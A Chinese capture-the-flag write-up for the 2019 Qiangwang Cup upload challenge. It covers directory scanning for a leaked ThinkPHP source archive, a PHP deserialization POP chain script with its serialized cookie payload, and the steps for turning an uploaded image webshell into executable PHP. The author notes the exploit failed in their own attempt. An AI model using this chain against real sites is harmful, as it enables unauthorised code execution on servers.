2019强网杯upload
写在前面的话:这题,搁着叠buff呢?
文件上传+反序列化
打开页面是熟悉的注册登录页面
注册再登录进去,给了个文件上传的口,上传个图片马,查看路径
一般这种都会有个源码泄露,有时候和SQL挂钩,有时候是反序列化
dirsearch扫目录
kali的dirsearch安装在另一篇笔记里有详细说明,这里就不再赘述。
在dirsearch目录下打开终端输入
python3 dirsearch -u URL -e* -t 20 -x 301,403,429,404,500,501
说明:
-e* 扫描网站所有脚本类型
-t 20 设置扫描的线程是20
-x 301,403,429,404,500,501 排除指定的网站状态码,用逗号隔开
一般有后台源码泄露的状态码是200
在根目录下扫出了www.tar.gz
下载(文件还挺大)
thinkphp框架
用vscode打开,tp5下,还存在.idea目录
.idea存放项目的配置信息,包括历史记录,版本控制信息等的一个目录
发现是thinkphp框架,一般核心文件在
application->web->controller
这里有四个php文件
反序列化
这里看到user的cookie进行了一个反序列化的操作。
首先访问大部分页面都会调用login_check的方法,先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。
Register.php里析构函数里如果注册就直接调用index(),也就是跳到主页。
Profile.php里有 _call
和 _get
两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get
会直接从 except 里找,_call
会调用自身的 name 成员变量所指代的变量所指代的方法。
这两个魔术方法可以利用。
我是直接上传的png图片没有什么影响,如果上传其他类型的图片马会进行处理,强行把后缀名改成png。
我们的思路是,利用filename_tmp和filename把图片马解析为php文件,怎么才能解析呢,cookie不是可以反序列化嘛,可以把构造完的exp序列化编码后的传入cookie,再访问png文件就可以变成php文件了,再用蚁剑连。具体怎么构造呢,可以进入下面的逻辑,里面既有filename、filename_tmp,还能利用img
但是需要绕过上面两个判断,只要不赋值,不上传变量就行。
利用_get
_call
:except里['index'=>'img']
(数组)实现一调用index变量就转到img变量,要利用img所在的逻辑只要ext存在就行,因为下面会调用update_img(),所以让img变量等于upload_img()函数,触发_call
,正好是这三个逻辑所在的函数,成功顺理成章地调用了。
那如何调用index变量,让registed=false也就是registed不存在就可以进入析构函数所在的逻辑。
到这里基本就可以构造exp了
exp构造
注意在thinkphp框架里,要规定命名空间,不然不知道实例化的哪个类
<?php
namespace app\web\controller;//规定命名空间
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];//excep规定传入的变量是数组
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile=new Profile();
$profile->except=array('index'=>'img');//['index'=>'img']也能表示数组
$profile->img='upload_img';
$profile->filename_tmp='../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png';
$profile->filename='../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php';
$profile->ext=true;
$register=new Register();
$register->registed=false;
$register->checker=$profile;
$register->checker->checker=0;//调用pop链防止退出程序
echo urlencode(base64_encode(serialize($register)));
运行结果
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtiOjE7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9
base64解码看看
O:27:"app\web\controller\Register":2:{s:7:"checker";O:26:"app\web\controller\Profile":7:{s:7:"checker";i:0;s:12:"filename_tmp";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png";s:8:"filename";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php";s:11:"upload_menu";N;s:3:"ext";b:1;s:3:"img";s:10:"upload_img";s:6:"except";a:1:{s:5:"index";s:3:"img";}}s:8:"registed";b:0;}
可以,很好,真不戳
拿flag
把user的cookie值改成运行出来的编码后的结果,根目录刷新几次,再访问/upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php就可以发现已经被解析成了php文件,再用蚁剑连接即可。
写在后面的话:
本人在实际操作的时候,不知道什么原因,迟迟不能解析成php文件,压根没那个文件,还提示系统操作错误,连登录的原始页面都回不去了。索性就记录一下这道叠buff的题吧。强网杯,强!
参考笔记
[(44条消息) 强网杯 2019]Upload_penson by 小乌的博客-CSDN博客
[强网杯 2019]Upload - KingBridge - 博客园 (cnblogs.com)
[(44条消息) BUUCTF:强网杯 2019]Upload_末 初的博客-CSDN博客